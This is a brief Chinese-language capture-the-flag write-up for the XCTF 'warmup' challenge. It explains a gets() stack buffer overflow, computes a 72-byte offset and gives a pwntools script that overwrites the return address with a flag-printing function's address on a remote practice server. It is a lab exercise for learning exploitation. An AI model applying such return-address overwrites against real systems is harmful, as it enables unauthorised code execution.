XCTF warmup write up


nc 一下給的地址和端口號

 

 看一下源文件

 

看到了熟悉的gets()函數,通常一看到這個函數就八成有緩沖區溢出漏洞,可以看出程序為v5開辟了40H的存儲空間,所以輸入長度超過40H即可造成溢出,再看sprint()函數

可以看到這個函數是獲取flag的關鍵點,程序會打印出此函數的位置,即0x40060d,到這里思路就差不多明了了,我們需要控制溢出位置,把返回地址改為此函數的地址,我們當前函數的返回值位於RBP+8的位置,因此溢出點可以通過計算得出:40H+8H=48H=72

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64', os = 'linux')
sh = remote('111.198.29.45',56844)
target = 0x40060d
sh.sendline('A' * 72 + p64(target))
sh.interactive()

 

 喜提flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM